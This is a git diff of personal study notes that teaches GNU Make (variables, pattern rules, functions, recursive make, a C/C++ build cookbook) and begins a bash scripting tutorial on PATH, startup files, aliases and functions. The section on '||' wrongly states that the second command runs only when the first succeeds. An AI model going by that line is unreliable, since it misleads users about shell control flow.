them: + +```bash +files = file1 file2 + +some_file: $(files) + echo "Look at this variable: " $(files) + touch some_file +file1: + touch file1 +file2: + touch file2 +clean: + rm -f file1 file2 some_file +# touch file1 +# touch file2 +# echo "Look at this variable: " file1 file2 +# Look at this variable: file1 file2 +# touch some_file + + + +# Reference variables using ${} or $() +x = dude +all: + echo $(x) + echo ${x} + + # Bad practice, but works + echo $x +``` + + + +--- + +## Targets + + +### `all` target + +Make a `all` target. +- Making multiple targets and you want all of them to run + +```bash +all: one two three + +one: + touch one +two: + touch two +three: + touch three + +clean: + rm -f one two three +``` + + +### Multiple targets + +Multiple targets +- When there are multiple targets for a rule +- the commands will be run for each target +- `$@` is an automatic variable that contains the target name. + +```bash +all: f1.o f2.o + +f1.o f2.o: + echo $@ +# Equivalent to: +# f1.o +# echo $@ +# f2.o +# echo $@ + +# echo f1.o +# f1.o +# echo f2.o +# f2.o +``` + + +--- + +## Automatic Variables and Wildcards + + +> Both `*` and `%` are called wildcards in Make, but they mean entirely different things. + + +`*` Wildcard +- `*` search your filesystem for matching filenames. +- suggest that always wrap it in the `wildcard` function +- `*` may be used in the target, prerequisites, or in the `wildcard` function. +- Danger: + - `*` may not be directly used in a variable definitions + - When `*` matches no files, it is left as it is (unless run in the `wildcard` function) + +```bash +# Print out file information about every .c file +print: $(wildcard *.c) + ls -la $? + +# Don't do this! '*' will not get expanded +thing_wrong := *.o +thing_right := $(wildcard *.o) + + +all: one two three four + +# Fails, because $(thing_wrong) is the string "*.o" +one: $(thing_wrong) + +# Stays as *.o if there are no files that match this pattern :( +two: *.o + +# Works as you would expect! In this case, it does nothing. +three: $(thing_right) + +# Same as rule three +four: $(wildcard *.o) +``` + + +`%` Wildcard +- "matching" mode + - it matches one or more characters in a string. + - This match is called the stem. +- "replacing" mode, + - it takes the stem that was matched and replaces that in a string. +- `%` is most often used in rule definitions and in some specific functions. + +See these sections on examples of it being used: +- Static Pattern Rules +- Pattern Rules +- String Substitution +- The vpath Directive + + +Automatic Variables +- There are many [automatic variables](https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html), but often only a few show up: + +```bash +hey: one two + # Outputs "hey", since this is the first target + echo $@ + # Outputs all prerequisites newer than the target + echo $? + # Outputs all prerequisites + echo $^ + touch hey +one: + touch one +two: + touch two +clean: + rm -f hey one two + +# touch one +# touch two +# # Outputs "hey", since this is the first target +# echo hey +# hey +# # Outputs all prerequisites newer than the target +# echo one two +# one two +# # Outputs all prerequisites +# echo one two +# one two +# touch hey + +``` + + +--- + +## Fancy Rules + +--- + +### Static Pattern Rules + +- a new type of rule + +```bash +targets ...: target-pattern: prereq-patterns ... + commands + +# the given target is matched by the target-pattern (via a `%` wildcard). +# Whatever was matched is called the stem +# The stem is then substituted into the prereq-pattern, to generate the target's prereqs. +``` + +A typical use case is to compile `.c` files into `.o` files. + + +1. Here's the manual way + +```bash +objects = foo.o bar.o all.o +all: $(objects) +# These files compile via implicit rules +foo.o: foo.c +bar.o: bar.c +all.o: all.c + +all.c: + echo "int main() { return 0; }" > all.c +%.c: + touch $@ +clean: + rm -f *.c *.o all +# echo "int main() { return 0; }" > all.c +# cc -c -o all.o all.c +# touch foo.c +# cc -c -o foo.o foo.c +# touch bar.c +# cc -c -o bar.o bar.c +# cc all.o foo.o bar.o -o all + +``` + +2. more efficient way , using a static pattern rule: + +```bash +objects = foo.o bar.o all.o +all: $(objects) + +# These files compile via implicit rules +# Syntax - targets ...: target-pattern: prereq-patterns ... +# In the case of the first target, foo.o, the target-pattern matches foo.o and sets the "stem" to be "foo". +# It then replaces the '%' in prereq-patterns with that stem +$(objects): %.o: %.c + +all.c: + echo "int main() { return 0; }" > all.c +%.c: + touch $@ +clean: + rm -f *.c *.o all +``` + + +--- + + +### Static Pattern Rules and Filter + +While I introduce functions later on, I'll forshadow what you can do with them. The `filter` function can be used in Static pattern rules to match the correct files. + +```bash +In this example, I made up the `.raw` and `.result` extensions. + +obj_files = foo.result bar.o lose.o +src_files = foo.raw bar.c lose.c + +all: $(obj_files) + +$(filter %.o,$(obj_files)): %.o: %.c + echo "target: $@ prereq: $<" +$(filter %.result,$(obj_files)): %.result: %.raw + echo "target: $@ prereq: $<" + +%.c %.raw: + touch $@ + +clean: + rm -f $(src_files) +``` + +--- + + +### Implicit Rules + +Perhaps the most confusing part of make is the magic rules and variables that are made. Here's a list of implicit rules: + +- Compiling a C program: `n.o` is made automatically from `n.c` with a command of the form `$(CC) -c $(CPPFLAGS) $(CFLAGS)` +- Compiling a C++ program: `n.o` is made automatically from `n.cc` or `n.cpp` with a command of the form `$(CXX) -c $(CPPFLAGS) $(CXXFLAGS)` +- Linking a single object file: `n` is made automatically from `n.o` by running the command `$(CC) $(LDFLAGS) n.o $(LOADLIBES) $(LDLIBS)` + +As such, the important variables used by implicit rules are: + +- `CC`: Program for compiling C programs; default cc +- `CXX`: Program for compiling C++ programs; default G++ +- `CFLAGS`: Extra flags to give to the C compiler +- `CXXFLAGS`: Extra flags to give to the C++ compiler +- `CPPFLAGS`: Extra flags to give to the C preprosessor +- `LDFLAGS`: Extra flags to give to compilers when they are supposed to invoke the linker + +```bash +CC = gcc # Flag for implicit rules +CFLAGS = -g # Flag for implicit rules. Turn on debug info + +# Implicit rule #1: blah is built via the C linker implicit rule +# Implicit rule #2: blah.o is built via the C compilation implicit rule, because blah.c exists +blah: blah.o + +blah.c: + echo "int main() { return 0; }" > blah.c + +clean: + rm -f blah* +``` + +--- + + +### Pattern Rules + +Pattern rules +- A way to define your own implicit rules +- A simpler form of static pattern rules +- Pattern rules contain a `%` in the target. + - `%` matches any nonempty string, and the other characters match themselves. + - `%` in a prerequisite of a pattern rule stands for the same stem that was matched by the `%` in the target. + +```bash +# Define a pattern rule that compiles every .c file into a .o file +%.o : %.c + $(CC) -c $(CFLAGS) $(CPPFLAGS) $< -o $@ + +# Define a pattern rule that has no pattern in the prerequisites. +# This just creates empty .c files when needed. +%.c: + touch $@ +``` + +--- + + +## Functions for String Substitution and Analysis + +1. `$(subst from,to,text)` + - textual replacement on the text text: each occurrence of from is replaced by to. + - The result is substituted for the function call + +```bash +$(subst ee,EE,feet on the street) +# produces the value `fEEt on the strEEt`. +``` + +1. `$(patsubst pattern,replacement,text)` + - Finds whitespace-separated words in text that match pattern and replaces them with replacement. + - pattern may contain a `%` which acts as a wildcard, matching any number of any characters within a word. + - If replacement also contains a `%`, the `%` is replaced by the text that matched the `%` in pattern. Only the first `%` in the pattern and replacement is treated this way; any subsequent `%` is unchanged. + + - `%` characters in patsubst function invocations can be quoted with preceding backslashes (`\`). Backslashes that would otherwise quote `%` characters can be quoted with more backslashes. + - Backslashes that quote `%` characters or other backslashes are removed from the pattern before it is compared file names or has a stem substituted into it. + - Backslashes that are not in danger of quoting `%` characters go unmolested. + - For example + - the pattern` the\%weird\\%pattern\\` has `the%weird\` preceding the operative `%` character, and `pattern\\` following it. The final two backslashes are left alone because they cannot affect any `%` character. + - Whitespace between words is folded into single space characters; leading and trailing whitespace is discarded. + + +```bash +$(patsubst %.c,%.o,x.c.c bar.c) +# produces the value `x.c.o bar.o`. +``` + + +1. Substitution references + - simpler way to get the effect of the patsubst function: + +```bash +$(var:pattern=replacement) +# is equivalent to +$(patsubst pattern,replacement,$(var)) +The second shorthand simplifies one of the most common uses of patsubst: replacing the suffix at the end of file names. + +$(var:suffix=replacement) +# is equivalent to +$(patsubst %suffix,%replacement,$(var)) + + +objects = foo.o bar.o baz.o +# To get the list of corresponding source files, you could simply write: +$(objects:.o=.c) +# instead of using the general form: +$(patsubst %.o,%.c,$(objects)) +``` + + + + + + +--- + + +### Double-Colon Rules `::` + +- allow multiple rules to be defined for the same target. +- If these were single colons, a warning would be printed and only the second set of commands would run. + +```bash +all: blah + +blah:: + echo "hello" + +blah:: + echo "hello again" +``` + +--- + + + +### Double pipeline `|| true` + +- It's the opposite of `&&` +- the second command is executed only if the exit status of the preceding command is 0. + + +```bash +$ ls this_file_does_not_exist.txt || echo KO +# ls: cannot access this_file_does_not_exist.txt: No such file or directory +# KO + +$ ls this_file_exist.txt && echo OK +# this_file_exist.txt +# OK +``` + + + +--- + +## Commands and execution + +--- + + +### Command Echoing/Silencing + +Add an `@` before a command to stop it from being printed +You can also run make with `-s` to add an `@` before each line +```bash +all: + @echo "This make line will not be printed" + echo "But this will" +``` + + +--- + + +### Command Execution + +- Each command is run in a new shell (or at least the effect is as such) + +```bash +all: + cd .. + # The cd above does not affect this line, because each command is effectively run in a new shell + echo `pwd` + # This cd command affects the next because they are on the same line + cd ..; echo `pwd` + # Same as above + cd ..; \ + echo `pwd` +# cd .. +# # The cd above does not affect this line +# echo `pwd` +# /Users/luo/Documents/code/maketest +# # This cd command affects the next because they are on the same line +# cd ..; echo `pwd` +# /Users/luo/Documents/code +# # Same as above +# cd ..; \ +# echo `pwd` +# /Users/luo/Documents/code +``` + + +--- + +### Default Shell + +- The default shell is `/bin/sh`. +- change this by changing the variable SHELL: + +```bash +SHELL=/bin/bash + +cool: + echo "Hello from bash" +``` + + +--- + + +### Error handling with `-k`, `-i`, and `-` + +- Add `-k` + - when running make to continue running even in the face of errors. + - Helpful if you want to see all the errors of Make at once. +- Add a `-` + - before a command to suppress the error +- Add `-i` + - to make to have this happen for every command. + +```bash +one: + # This error will be printed but ignored, and make will continue to run + -false + touch one +``` + +--- + + +### Interrupting or killing make + +Note only: If you `ctrl+c` make, it will delete the newer targets it just made. + + +--- + + +### Recursive make + +To recursively call a makefile + + + +1. use the special `$(MAKE)` instead of `make` + - because it will pass the make flags for you and won't itself be affected by them. + +```bash +new_contents = "hello:\n\ttouch inside_file" +all: + mkdir -p subdir + printf $(new_contents) | sed -e 's/^ //' > subdir/makefile + cd subdir && $(MAKE) +clean: + rm -rf subdir +``` + +2. Use export for recursive make + - the export directive takes a variable and makes it accessible to sub-make commands. + - In this example, `cooly` is exported such that the makefile in subdir can use it. + - Note: export has the same syntax as sh, but they aren't related (although similar in function) + +```bash +new_contents = "hello:\n\\techo \$$(cooly)" +all: + mkdir -p subdir + echo $(new_contents) | sed -e 's/^ //' > subdir/makefile + @echo "---MAKEFILE CONTENTS---" + @cd subdir && cat makefile + @echo "---END MAKEFILE CONTENTS---" + cd subdir && $(MAKE) + @echo "---NewLine---" +# Note that variables and exports. They are set/affected globally. +cooly = "The subdirectory can see me!" +export cooly +# This would nullify the line above: unexport cooly +clean: + rm -rf subdir + +# mkdir -p subdir +# echo "hello:\n\\techo \$(cooly)" | sed -e 's/^ //' > subdir/makefile +# ---MAKEFILE CONTENTS--- +# hello: +# echo $(cooly) +# ---END MAKEFILE CONTENTS--- +# cd subdir && /Applications/Xcode.app/Contents/Developer/usr/bin/make +# echo "The subdirectory can see me!" +# The subdirectory can see me! +# ---NewLine--- + + + +# need to export variables to have them run in the shell as well. +one=this will only work locally +export two=we can run subcommands with this +all: + @echo $(one) + @echo $$one + @echo $(two) + @echo $$two +# this will only work locally +# +# we can run subcommands with this +# we can run subcommands with this +``` + +`.EXPORT_ALL_VARIABLES` exports all variables for you. + +```bash +.EXPORT_ALL_VARIABLES: +new_contents = "hello:\n\techo \$$(cooly)" +cooly = "The subdirectory can see me!" +# This would nullify the line above: unexport cooly +all: + mkdir -p subdir + echo $(new_contents) | sed -e 's/^ //' > subdir/makefile + @echo "---MAKEFILE CONTENTS---" + @cd subdir && cat makefile + @echo "---END MAKEFILE CONTENTS---" + cd subdir && $(MAKE) +clean: + rm -rf subdir + +# mkdir -p subdir +# echo "hello:\n\techo \$(cooly)" | sed -e 's/^ //' > subdir/makefile +# ---MAKEFILE CONTENTS--- +# hello: +# echo $(cooly) +# ---END MAKEFILE CONTENTS--- +# cd subdir && /Applications/Xcode.app/Contents/Developer/usr/bin/make +# echo "The subdirectory can see me!" +# The subdirectory can see me! +``` + + +--- + + +### Arguments to make + +- a nice [list of options](https://www.gnu.org/software/make/manual/make.html#Options-Summary) that can be run from make. Check out `--dry-run`, `--touch`, `--old-file`. +- You can have multiple targets to make, i.e. `make clean run test` runs the `clean` goal, then `run`, and then `test`. + + +--- + +## Variables Pt. 2 + +--- + + +### Flavors of variables + + +- recursive `=` + - only looks for the variables when the command is used + - not when it's defined +- simply expanded `:=` + - like normal imperative programming + - only those defined so far get expanded + +```bash +# Recursive variable. This will print "later" below +one = one ${later_variable} +later_variable = aloha +# Simply expanded variable. This will not print "later" below +two := two ${later_variable} +later_variable = later +all: + echo $(one) + echo $(two) +# echo one later +# one later +# echo two +# two +# echo one later +# one later +# echo two aloha +# two aloha +``` + +Simply expanded (using `:=`) allows you to append to a variable. Recursive definitions will give an infinite loop error. + +```bash +one = hello +# one gets defined as a simply expanded variable (:=) and thus can handle appending +one := ${one} there +all: + echo $(one) +# echo hello there +# hello there +``` + +--- + + +### `?=` + +- only sets variables if they have not yet been set + +```bash +one = hello +one ?= will not be set +two ?= will be set + +all: + echo $(one) + echo $(two) +``` + +--- + +### space + +- Spaces at the end of a line are not stripped, but those at the start are. +- To make a variable with a single space, use `$(nullstring)` + +```bash +with_spaces = hello # with_spaces has many spaces after "hello" +after = $(with_spaces)there +nullstring = +space = $(nullstring) # Make a variable with a single space. +all: + echo "$(after)" + echo start"$(space)"end +# echo "hello there" +# hello there +# echo start" "end +# start end +``` + +An undefined variable is actually an empty string! + +```bash +all: + # Undefined variables are just empty strings! + echo $(nowhere) +``` + + +### Use `+=` to append + +```bash +foo := start +foo += more + +all: + echo $(foo) +``` + +--- + + +### Command line arguments and override + +- override variables that come from the command line by using `override`. +- Here we ran make with `make option_one=hi` + +```bash +# Overrides command line arguments +override option_one = did_override +# Does not override command line arguments +option_one = not_override +all: + echo $(option_one) + echo $(option_one) +# echo did_override +# did_override +# echo did_override +# did_override +``` + + + +--- + + +### List of commands and define + +- "define" is actually just a list of commands. +- It has nothing to do with being a function. +- Note here that it's a bit different than having a semi-colon between commands, because each is run in a separate shell, as expected. + +```bash +one = export blah="I was set!"; echo $$blah + +define two +export blah=set +echo $$blah +endef + +# One and two are different. +all: + @echo "This prints 'I was set'" + @$(one) + @echo "This does not print 'I was set' because each command runs in a separate shell" + @$(two) + +# This prints 'I was set' +# I was set! +# This does not print 'I was set' because each command runs in a separate shell +# +``` + + +--- + + +### Target-specific variables + +Variables can be assigned for specific targets + +```bash +all: one = cool +all: + echo one is defined: $(one) +other: + echo one is nothing: $(one) +``` + + +--- + + +### Pattern-specific variables + +You can assign variables for specific target patterns + +```bash +%.c: one = cool +blah.c: + echo one is defined: $(one) +other: + echo one is nothing: $(one) +``` + +--- + +## Conditional part of Makefiles + +--- + + +### `ifeq endif` Conditional if/else + + +```bash +foo = ok + +all: +ifeq ($(foo), ok) + echo "foo equals ok" +else + echo "nope" +endif +``` + +--- + + +### `$(nullstring)` Check if a variable is empty + +```bash +nullstring = +foo = $(nullstring) # end of line; there is a space here + +all: +ifeq ($(strip $(foo)),) + echo "foo is empty after being stripped" +endif + +ifeq ($(nullstring),) + echo "nullstring doesn't even have spaces" +endif +``` + +--- + + +### `ifdef endif` Check if a variable is defined + +- `ifdef` does not expand variable references; +- it just sees if something is defined at all + +```bash +bar = +foo = $(bar) + +all: +ifdef foo + echo "foo is defined" +endif +ifdef bar + echo "but bar is not" +endif +``` + + +--- + +### `$(makeflags)` + +- test make flags with `findstring` and `MAKEFLAGS`. +- Run this example with `make -i` to see it print out the echo statement. + +```bash +bar = +foo = $(bar) + +all: +# Search for the "-i" flag. +# MAKEFLAGS is just a list of single characters, one per flag. So look for "i" in this case. +ifneq (,$(findstring i, $(MAKEFLAGS))) + echo "i was passed to MAKEFLAGS" +endif +# echo "i was passed to MAKEFLAGS" +# i was passed to MAKEFLAGS +``` + + +--- + + +## Functions + + +--- + + +### First Functions + + Functions are mainly just for text processing. + +- Call functions with `$(fn, arguments)` or `${fn, arguments}`. +- make your own using the [call](https://www.gnu.org/software/make/manual/html_node/Call-Function.html#Call-Function) builtin function. +- Make has a decent amount of [builtin functions](https://www.gnu.org/software/make/manual/html_node/Functions.html). + +```bash +bar := ${subst not, totally, "I am not superman"} +all: + @echo $(bar) +# I am totally superman + + +# If you want to replace spaces or commas, use variables +comma := , +empty:= +space := $(empty) $(empty) +foo := a b c +bar := $(subst $(space),$(comma),$(foo)) +all: + @echo $(bar) + +# Do NOT include spaces in the arguments after the first. +# That will be seen as part of the string. +comma := , +empty:= +space := $(empty) $(empty) +foo := a b c +bar := $(subst $(space), $(comma) , $(foo)) +all: + # Output is ", a , b , c". Notice the spaces introduced + @echo $(bar) +``` + + +--- + + +### `$(patsubst pattern,replacement, text)` + + +- The substitution reference `$(text:pattern=replacement)` +- replaces only suffixes: `$(text:suffix=replacement)`. + - No `%` wildcard is used here. + - Note: don't add extra spaces for this shorthand. It will be seen as a search or replacement term. + +```bash +foo := a.o b.o l.a c.o +# change %.o to %.c +one := $(patsubst %.o,%.c,$(foo)) +# This is a shorthand for the above +# change %.o to %.c +two := $(foo:%.o=%.c) +# This is the suffix-only shorthand, is also equivalent to the above. +three := $(foo:.o=.c) +all: + echo $(one) + echo $(two) + echo $(three) +# echo a.c b.c l.a c.c +# a.c b.c l.a c.c +# echo a.c b.c l.a c.c +# a.c b.c l.a c.c +# echo a.c b.c l.a c.c +# a.c b.c l.a c.c +``` + +--- + + +### `$(foreach var,list,text)` + +- It converts one list of words (separated by spaces) to another. +- `var` is set to each word in list, and `text` is expanded for each word. +- This appends an exclamation after each word: + +```bash +foo := who are you +# For each "word" in foo, output that same word with an exclamation after +bar := $(foreach wrd, $(foo), $(wrd)!) +all: + # Output is "who! are! you!" + @echo $(bar) +``` + +--- + + +### `$(if nonempty, action1 , action2)` + +- `if` checks if the first argument is nonempty. +- If so runs the second argument, otherwise runs the third. + +```bash +foo := $(if this-is-not-empty,then!,else!) +empty := +bar := $(if $(empty),then!,else!) +all: + @echo $(foo) + @echo $(bar) +# then! +# else! +``` + +--- + + +### The call function + +- Make supports creating basic functions. +- "define" the function just by creating a variable, but use the parameters `$(0)`, `$(1)`, etc. +- then call the function with the special `call` function. +- The syntax is `$(call variable,param,param)`. +- `$(0)` is the variable, while `$(1)`, `$(2)`, etc. are the params. + + +```bash +sweet_new_fn = Variable Name: $(0) First: $(1) Second: $(2) Empty Variable: $(3) +all: + @echo $(call sweet_new_fn, go, tigers) +# Outputs "Variable Name: sweet_new_fn First: go Second: tigers Empty Variable:" +``` + + +--- + + +### `$(shell ls -la)` + +- calls the shell, but it replaces newlines with spaces! + +```bash +all: + @echo $(shell ls -la) +# Very ugly because the newlines are gone! +``` + +--- + +## Other Features + +--- + +### `include Makefiles` + +- tells `make` to read one or more other `makefiles`. +- particularly useful when use compiler flags like `-M` that create Makefiles based on the source. +- make命令开始时,会把找寻include所指出的其它Makefile,并把其内容安置在当前的位置。就好像C/C++的#include指令一样。 + +```bash +include filenames... +``` + +Example, +- if some c files includes a header, that header will be added to a Makefile that's written by gcc. + + +--- + + +### `vpath ` + +- Use vpath to specify where some set of prerequisites exist. +- The format is `vpath ` +- `` can have a `%`, which matches any zero or more characters. +- can also do this globallyish with the variable VPATH + +```bash +vpath %.h ../headers ../other-directory + +some_binary: ../headers blah.h + touch some_binary + +../headers: + mkdir ../headers + +blah.h: + touch ../headers/blah.h + +clean: + rm -rf ../headers + rm -f some_binary +``` + +--- + +### Multiline `\` + +- use multiple lines when the commands are too long + +```bash +some_file: + echo This line is too long, so \ + it is broken up into multiple lines +``` +--- + +### `.phony` + +- Adding `.PHONY` to a target will prevent make from confusing the phony target with a file name. +- In this example, if the file `clean` is created, `make clean` will still be run. +- `.PHONY` is great to use + + +```bash +some_file: + touch some_file + touch clean + +.PHONY: clean +clean: + rm -f some_file + rm -f clean +``` + +--- + + +### `.delete_on_error` + +- The make tool will stop running a rule (and will propagate back to prerequisites) if a command returns a nonzero exit status. +- `DELETE_ON_ERROR` will delete the target of a rule if the rule fails in this manner. +- This will happen for all targets, not just the one it is before like PHONY. +- It's a good idea to always use this, even though make does not for historical reasons. + + +```bash +.DELETE_ON_ERROR: +all: one two + +one: + touch one + false + +two: + touch two + false +``` + +--- + +## Makefile Cookbook + +> Job Vranish (https://spin.atomicobject.com/2016/08/26/makefile-c-projects/) + + +- put your C/C++ files in the `src/` folder. + +```bash +TARGET_EXEC := final_program + +BUILD_DIR := ./build +SRC_DIRS := ./src + +# Find all the C and C++ files we want to compile +SRCS := $(shell find $(SRC_DIRS) -name *.cpp -or -name *.c) + +# String substitution for every C/C++ file. +# As an example, hello.cpp turns into ./build/hello.cpp.o +OBJS := $(SRCS:%=$(BUILD_DIR)/%.o) + +# String substitution (suffix version without %). +# As an example, ./build/hello.cpp.o turns into ./build/hello.cpp.d +DEPS := $(OBJS:.o=.d) + +# Every folder in ./src will need to be passed to GCC so that it can find header files +INC_DIRS := $(shell find $(SRC_DIRS) -type d) +# Add a prefix to INC_DIRS. So moduleA would become -ImoduleA. GCC understands this -I flag +INC_FLAGS := $(addprefix -I,$(INC_DIRS)) + +# The -MMD and -MP flags together generate Makefiles for us! +# These files will have .d instead of .o as the output. +CPPFLAGS := $(INC_FLAGS) -MMD -MP + +# The final build step. +$(BUILD_DIR)/$(TARGET_EXEC): $(OBJS) + $(CC) $(OBJS) -o $@ $(LDFLAGS) + +# Build step for C source +$(BUILD_DIR)/%.c.o: %.c + mkdir -p $(dir $@) + $(CC) $(CPPFLAGS) $(CFLAGS) -c $< -o $@ + +# Build step for C++ source +$(BUILD_DIR)/%.cpp.o: %.cpp + mkdir -p $(dir $@) + $(CXX) $(CPPFLAGS) $(CXXFLAGS) -c $< -o $@ + + +.PHONY: clean +clean: + rm -r $(BUILD_DIR) + +# Include the .d makefiles. The - at the front suppresses the errors of missing +# Makefiles. Initially, all the .d files will be missing, and we don't want those +# errors to show up. +-include $(DEPS) +``` + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/system/2020-07-16-shellscripts.md b/_posts/00CodeNote/language/system/2020-07-16-shellscripts.md new file mode 100644 index 00000000000..fe1a747aef5 --- /dev/null +++ b/_posts/00CodeNote/language/system/2020-07-16-shellscripts.md @@ -0,0 +1,2153 @@ +--- +title: ShellScripts +date: 2020-07-16 11:11:11 -0400 +categories: [00CodeNote] +tags: [Script] +math: true +image: +--- + + +# Writing Shell Scripts + +[toc] + +# What are Shell Scripts? + +ref +https://linuxcommand.org/lc3_wss0140.php + + +With the thousands of commands available for the command line user, how can you remember them all? The answer is, you don't. The real power of the computer is its ability to do the work for you. To get it to do that, we use `shell` to automate things. We write `shell scripts`. +- a file containing a series of commands. +- The `shell` reads this file and carries out the commands as though they have been entered directly on the command line. + +The shell is somewhat unique, in that it is both a `powerful command line interface` to the system and a `scripting language interpreter`. As we will see, most of the things that can be done on the command line can be done in scripts, and most of the things that can be done in scripts can be done on the command line. + +To successfully write a shell script, you have to do three things: +- `Write` a script +- Give the shell permission to `execute` it +- Put it somewhere the shell can `find` it + +## Writing a Script +A shell script is a file that contains ASCII text. +To create a shell script, you use a text editor that reads and writes ASCII text files. + +There are many, many text editors available for your Linux system, both for the command line environment and the GUI environment. Here is a list of some common ones: + +`vi, vim` command line +- The granddaddy of Unix text editors +- infamous for its difficult, non-intuitive command structure. On the bright side, vi is powerful, lightweight, and fast. On most Linux distributions, an enhanced version of the traditional `vi` editor called `vim` is used. + +`Emacs` command line +- The true giant in the world of text editors is Emacs by Richard Stallman. +- Emacs contains (or can be made to contain) every feature ever conceived for a text editor. It should be noted that vi and Emacs fans fight bitter religious wars over which is better. + +`nano` command line +- nano is a free clone of the text editor supplied with the pine email program. nano is very easy to use but is very short on features. I recommend nano for first-time users who need a command line editor. + +`gedit` graphical +- gedit is the editor supplied with the Gnome desktop environment. + +`kwrite` graphical +- kwrite is the "advanced editor" supplied with KDE. It has syntax highlighting, a helpful feature for programmers and script writers. + +use text editor and type in your first script as follows: + +``` +#!/bin/bash +# My first script + +echo "Hello World!" +``` + +The first line of the script is important. This is `shebang`, given to the shell indicating what program is used to interpret the script. In this case, it is /bin/bash. Other scripting languages such as Perl, awk, tcl, Tk, and python also use this mechanism. + +The second line is a `comment`. Everything that appears after a "#" symbol is ignored by bash. As your scripts become bigger and more complicated, comments become vital. They are used by programmers to explain what is going on so that others can figure it out. + +The last line is the echo command. echo: prints its arguments on the display. + +## Setting Permissions +The next thing, give the `shell` permission to execute your script. + +$ chmod 755 hello_world + +The "755" will give you read, write, and execute permission. +Everybody else will get only read and execute permission. +If you want your script to be private (i.e., only you can read and execute), use "700" instead. + +## Putting It in Your Path +At this point, your script will run. +$ ./hello_world + +You should see "Hello World!" displayed. If you do not, see what directory you really saved your script in, go there and try again. + +## talk about paths. +- When you type in the name of a command, the system does not search the entire computer to find where the program is located. +- You have noticed that you don't usually have to specify a complete path name to the program you want to run, the shell just seems to know. +- The shell does know. Here's how: + - the shell maintains a list of directories where executable files (programs) are kept, and only searches the directories in that list. + - If it does not find the program after searching each directory in the list, it will issue the famous command not found error message. + - This list of directories is called your path. You can view the list of directories with the following command: `$ echo $PATH` + +This will return a colon separated list of directories that will be searched if a specific path name is not given when a command is attempted. In our first attempt to execute your new script, we specified a pathname ("./") to the file. + +You can add directories to your path with the following command, where directory is the name of the directory you want to add: +`$ export PATH=$PATH:directory` + +A better way would be to edit your `.bash_profile` or `.profile` file to include the above command. That way, it would be done automatically every time you log in. + + +Most Linux distributions encourage a practice in which each user has a specific directory for the programs he/she personally uses: `bin`. +If you do not already have one, create it: `$ mkdir bin` +Move your script into `bin` directory and you're all set. +Now you just have to type: `$ hello_world` and your script will run. + +On some distributions, most notably Ubuntu, you will need to open a new terminal session before your newly created bin directory will be recognized. + +## Editing the Scripts You Already Have +you have some scripts of your own already. These scripts were put into your home directory when your account was created, and are used to configure the behavior of your sessions on the computer. + +You can edit these scripts to change things. + +### environment +During your session, the system is holding a number of facts about the world in its memory. This information is called the `environment`. The environment contains such things as your path, your user name, the name of the file where your mail is delivered, and much more. You can see a complete list of what is in your environment with the `set` command. + +Two types of commands are often contained in the `environment`. +They are `aliases` and `shell functions`. + + +#### How is the Environment Established? +When you log on to the system, the `bash` program starts, and reads a series of configuration scripts called `startup files`. +These define the default environment shared by all users. +This is followed by more startup files in your home directory that define your personal environment. +The exact sequence depends on the type of shell session being started. + +There are two kinds: a `login shell session` and a `non-login shell session`. +- `login shell session`: one in which we are prompted for our user name and password; when we start a virtual console session, for example. +- `non-login shell session` typically occurs when we launch a terminal session in the GUI. + +`Login shells` read one or more startup files as shown below: +- `/etc/profile` : + - A global configuration script that applies to all users. +- `~/.bash_profile` : + - A user's personal startup file. + - Can be used to extend or override settings in the global configuration script. +- `~/.bash_login` : + - If ~/.bash_profile is not found, bash attempts to read this script. +- `~/.profile` : + - If neither ~/.bash_profile nor ~/.bash_login is found, bash attempts to read this file. + - This is the default in Debian-based distributions, such as Ubuntu. + +`Non-login shell sessions` read the following startup files: +- `/etc/bash.bashrc` : + - A global configuration script that applies to all users. +- `~/.bashrc` : + - A user's personal startup file. + - Can be used to extend or override settings in the global configuration script. + +In addition to reading the startup files above, non-login shells also inherit the environment from their parent process, usually a login shell. + +Take a look at your system and see which of these startup files you have. +most of the file names listed above start with a period (hidden), need to use the “-a” option + +``` +$ cat profile +# System-wide .profile for sh(1) + +if [ -x /usr/libexec/path_helper ]; then + eval `/usr/libexec/path_helper -s` +fi + +if [ "${BASH-no}" != "no" ]; then + [ -r /etc/bashrc ] && . /etc/bashrc +fi +--------------------------------------------- +$ cat bashrc +# System-wide .bashrc file for interactive bash(1) shells. +if [ -z "$PS1" ]; then + return +fi + +PS1='\h:\W \u\$ ' +# Make bash check its window size after a process completes +shopt -s checkwinsize + +[ -r "/etc/bashrc_$TERM_PROGRAM" ] && . "/etc/bashrc_$TERM_PROGRAM" +``` + +The `~/.bashrc` file is probably the most important startup file from the ordinary user’s point of view, since it is almost always read. Non-login shells read it by default and most startup files for login shells are written in such a way as to read the ~/.bashrc file as well. + +look inside a typical .bash_profile +```py +# .bash_profile +# Get the aliases and functions +# Lines not read by the shell. for human readability. +if [ -f ~/.bashrc ]; then + . ~/.bashrc +fi + +- This is called an if compound command +- If the file "~/.bashrc" exists, then read the "~/.bashrc" file. +- this bit of code is how a login shell gets the contents of .bashrc. + +# User specific environment and startup programs +PATH=$PATH:$HOME/bin +# The next thing in our startup file, set set PATH variable to add the ~/bin directory to the path. +export PATH +# The export command tells the shell to make the contents of PATH available to child processes of this shell. +``` + +### Aliases +An alias is an easy way to create a new command which acts as an abbreviation for a longer one. +`alias name=value` +- name: the name of the new command +- value: the text to be executed whenever name is entered on the command line. + +```py +create an alias called "l" and make it an abbreviation for the command "ls -l". +# Make sure you are in your home directory. +# open the file .bashrc and add this line to the end of the file: +alias l='ls -l' +# we have created a new command called "l" which will perform "ls -l". +#To try out your new command, close your terminal session and start a new one. This will reload the .bashrc file. + +# Using this technique, you can create any number of custom commands for yourself. Here is another one for you to try: +alias today='date +"%A, %B %-d, %Y"' +# This alias creates a new command called "today" that will display today's date with nice formatting. + +By the way, the alias command is just another shell builtin. +You can create your aliases directly at the command prompt; +however they will only remain in effect during your current shell session. + +[me@linuxbox me]$ alias l='ls -l' +``` + +### Shell Functions +Aliases are good for very simple commands, but to create something more complex, try shell functions. +Shell functions can be thought of as "scripts within scripts" or little sub-scripts. + +- open .bashrc with your text editor again +- replace the alias for "today" with the following: + +```py +today() { + echo -n "Today's date is: " + date +"%A, %B %-d, %Y" +} +``` + +- `()` is a shell builtin too, and as with `alias` +- enter shell functions directly at the command prompt. + +```py +[me@linuxbox me]$ today() { +> echo -n "Today's date is: " +> date +"%A, %B %-d, %Y" +> } + +# like alias, shell functions defined directly on the command line only last as long as the current shell session. +``` + +# Here Scripts +Beginning with this lesson, we will construct a useful application. This 